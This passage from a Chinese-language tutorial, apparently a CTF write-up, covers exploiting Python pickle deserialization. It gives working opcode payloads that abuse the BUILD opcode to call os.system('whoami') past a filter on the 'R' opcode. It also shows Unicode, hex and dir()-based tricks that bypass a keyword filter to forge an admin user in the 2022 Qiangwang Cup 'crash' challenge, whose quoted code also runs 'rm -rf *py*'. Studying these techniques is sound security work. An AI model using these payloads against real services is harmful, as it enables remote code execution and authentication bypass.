setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
那么这有什么安全问题呢?如果我们将字典{"__setstate__":os.system}
,压入栈中,并执行b
字节码,,由于此时并没有__setstate__
,所以这里b字节码相当于执行了__dict__.update
,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b
字节码时,由于已经有了__setstate__
,所以会将栈中字节码b
的前一个元素当作state
,执行__setstate__(state)
,也就是os.system(command)
。
Payload如下
opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__" #向栈中压入一个空字典,然后再通过u修改为{"__setstate__":os.system}
cos
system
ubS"whoami"
b.'''
执行结果如下,成功RCE
import pickle
import stao
import pickletools
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
if b'R' in data:
return 'no reduce!'
x=pickle.loads(data)
if(x!= Animal(stao.name,stao.age)):
print('not equal')
return
print('well done! {} {}'.format(stao.name,stao.age))
opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
check(opcode)
pickletools.dis(opcode)
###
xiaoh\34946
not equal
0: ( MARK
1: c GLOBAL '__main__ Animal'
18: S STRING 'Casual'
28: I INT 18
32: o OBJ (MARK at 0)
33: } EMPTY_DICT
34: ( MARK
35: S STRING '__setstate__'
51: c GLOBAL 'os system'
62: u SETITEMS (MARK at 34)
63: b BUILD
64: S STRING 'whoami'
74: b BUILD
75: . STOP
highest protocol among opcodes = 1
绕过关键字过滤
在某些情况下,假如我们想利用opcode进行变量覆盖从而进行身份伪造,但是代码中过滤了我们想要覆盖的属性关键字。比如[2022强网杯 crash],关键代码如下
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
源码引入admin
模块,其中存放了属性secret
。现在题目过滤了属性名,现在如何进行绕过呢?下面给出三种思路
利用V指令进行Unicode绕过
V
指令的用法如下,类似于指令S
正常我们可以构造变量覆盖如下来绕过比较
b'''capp
admin
(S'secret'
I1
db0(capp
User
S"admin"
I1
o.'''
过滤了secret之后可以构造如下
b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''
十六进制绕过
操作码S
也能够识别十六进制字符串,可以构造如下
b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''
利用内置函数获取关键字
对于已导入的模块,我们可以通过sys.modules['xxx']
来获取该模块,然后通过内置函数dir()来列出模块中的所有属性
print(dir(sys.modules['admin']))
#['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']
可以看到模块中的属性是以列表的形式输出,且我们所需的字符串位于列表末尾。
由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()
函数来将列表逆序,并返回一个迭代对象
然后我们可以通过next()
函数来获取迭代对象的下一个元素,默认从第一个元素开始。最终可以构造如下
print(next(reversed(dir(sys.modules['admin']))))
#secret
opcode构造如下
opcode=b'''(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))
#secret
获取到了secret字符串,下面就容易构造变量覆盖了
opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''